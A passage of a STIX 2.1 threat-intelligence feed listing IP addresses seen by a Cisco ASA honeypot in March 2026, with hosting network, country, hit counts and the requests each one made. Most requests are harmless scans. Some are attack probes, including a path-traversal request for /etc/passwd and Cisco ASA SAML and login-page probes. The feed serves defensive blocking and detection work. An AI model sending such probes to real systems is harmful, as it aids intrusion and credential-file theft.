      "id": "indicator--bbafbd18-f68f-4f7d-85df-53f5861fce62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '100.53.194.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:20:13.000Z",
      "valid_until": "2026-04-17T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T01:08:24.211Z",
          "last_seen": "2026-03-20T00:54:39.660Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--c9c4f3f8-25c6-4e08-9b1b-1c6411cacc6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.218.167.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:20:13.000Z",
      "valid_until": "2026-04-17T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T01:08:20.955Z",
          "last_seen": "2026-03-16T01:08:23.958Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--a0cf983b-e79c-4c1b-b1b4-d4a97393d7d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '32.192.75.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:20:13.000Z",
      "valid_until": "2026-04-17T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-16T00:48:58.262Z",
          "last_seen": "2026-03-16T00:48:58.262Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--e74786f0-a6d0-40d1-8000-5303f63dd7d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:20:14.000Z",
      "valid_until": "2026-04-17T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-16T02:47:11.283Z",
          "last_seen": "2026-03-16T02:49:16.833Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MN; ASN 45204 (GEMNET LLC)",
      "id": "indicator--29c03648-c88f-4eb9-87fd-09158011ac44",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '180.149.126.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:20:14.000Z",
      "valid_until": "2026-04-17T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T02:47:49.556Z",
          "last_seen": "2026-03-16T02:47:52.560Z",
          "country": "Mongolia",
          "country_code": "MN",
          "asn": 45204,
          "as_org": "GEMNET LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--1bbd68c8-8fd7-4fc7-897f-bb775468bce8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:20:14.000Z",
      "valid_until": "2026-04-17T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-16T02:46:09.680Z",
          "last_seen": "2026-03-16T02:46:09.680Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f59b38d3-bed4-468d-a38a-1d1ce0b113fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:20:14.000Z",
      "valid_until": "2026-04-17T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T02:46:07.870Z",
          "last_seen": "2026-03-16T02:46:27.859Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--918fc7b2-2e3b-4beb-8f0a-73ff7df0ec67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:20:14.000Z",
      "valid_until": "2026-04-17T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-16T02:46:14.630Z",
          "last_seen": "2026-03-16T02:46:14.630Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--549b2ccc-a783-49f8-b59c-9ad2d718897b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:20:14.000Z",
      "valid_until": "2026-04-17T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-16T02:46:37.681Z",
          "last_seen": "2026-03-16T02:46:37.681Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--7f67f571-e6cf-4152-ace0-88bcc3058f51",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:20:14.000Z",
      "valid_until": "2026-04-17T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T02:46:23.575Z",
          "last_seen": "2026-03-16T02:46:33.683Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--dadd106e-0b37-4767-b603-a024f56d69ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.64.106.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:20:13.000Z",
      "valid_until": "2026-04-17T07:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T06:58:18.988Z",
          "last_seen": "2026-03-16T06:58:21.991Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T14:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /remote/login?lang=en HTTP/1.1\" 404 - geo: US; ASN 202412 (Omegatech LTD)",
      "id": "indicator--c71aa55a-2457-4b86-8f7b-352de9d7496f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.92.243.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T14:20:15.000Z",
      "valid_until": "2026-04-17T14:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T13:53:21.590Z",
          "last_seen": "2026-03-16T13:53:23.212Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202412,
          "as_org": "Omegatech LTD",
          "event_types": [
            "\"GET /remote/login?lang=en HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 206264 (Amarutu Technology Ltd)",
      "id": "indicator--5ed391d6-686a-49ec-b900-de578c232106",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '183.81.169.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:20:11.000Z",
      "valid_until": "2026-04-17T15:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T14:56:05.819Z",
          "last_seen": "2026-03-23T02:36:08.115Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 206264,
          "as_org": "Amarutu Technology Ltd",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T16:20:45.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1\" 200 - geo: GB; ASN 20860 (Iomart Cloud Services Limited)",
      "id": "indicator--7a115470-acf7-4ac3-845b-b79f20b6bf37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '212.38.189.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:20:45.000Z",
      "valid_until": "2026-04-17T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T16:15:02.831Z",
          "last_seen": "2026-03-16T16:15:05.834Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 20860,
          "as_org": "Iomart Cloud Services Limited",
          "event_types": [
            "\"POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T16:20:45.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 396982 (Google LLC)",
      "id": "indicator--628aa683-0502-4f65-bb82-73627833e20d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.6.187.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:20:45.000Z",
      "valid_until": "2026-04-17T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-16T15:52:37.197Z",
          "last_seen": "2026-03-16T15:52:42.315Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T00:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 202425 (IP Volume inc)",
      "id": "indicator--08b1415a-9b43-448a-b793-9f2998843b87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T00:20:19.000Z",
      "valid_until": "2026-04-18T00:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-17T00:03:03.677Z",
          "last_seen": "2026-03-17T00:03:06.680Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202425,
          "as_org": "IP Volume inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T05:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--5451586e-92e5-495f-8e28-f1c63c7839f3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.208.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T05:20:15.000Z",
      "valid_until": "2026-04-18T05:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 20,
          "first_seen": "2026-03-17T04:41:19.289Z",
          "last_seen": "2026-03-17T04:42:09.605Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 20473 (The Constant Company, LLC)",
      "id": "indicator--83e480bf-9b79-4e34-b094-21479653f99a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '144.202.77.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:20:13.000Z",
      "valid_until": "2026-04-18T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-17T06:55:41.922Z",
          "last_seen": "2026-03-17T06:55:44.926Z",
          "country": "United States",
          "country_code": "US",
          "asn": 20473,
          "as_org": "The Constant Company, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211486 (Alferov Aleksey Aleksandrovich)",
      "id": "indicator--4160a70b-768b-4dde-99a4-8a4f282c695d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.162.44.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:20:07.000Z",
      "valid_until": "2026-04-18T08:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T08:20:01.826Z",
          "last_seen": "2026-03-17T08:20:01.826Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211486,
          "as_org": "Alferov Aleksey Aleksandrovich",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211486 (Alferov Aleksey Aleksandrovich)",
      "id": "indicator--c631e4a5-4f8b-4152-bcd0-df724bf8e61c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.162.44.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:20:07.000Z",
      "valid_until": "2026-04-18T08:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T08:19:25.098Z",
          "last_seen": "2026-03-17T08:19:25.098Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211486,
          "as_org": "Alferov Aleksey Aleksandrovich",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211486 (Alferov Aleksey Aleksandrovich)",
      "id": "indicator--10693c6a-014e-4e7b-b4ce-c3e486972df2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.162.44.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:20:07.000Z",
      "valid_until": "2026-04-18T08:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T08:19:59.030Z",
          "last_seen": "2026-03-17T08:19:59.030Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211486,
          "as_org": "Alferov Aleksey Aleksandrovich",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f043e006-4db4-44fe-825c-1644300ecd5d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:20:07.000Z",
      "valid_until": "2026-04-18T08:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
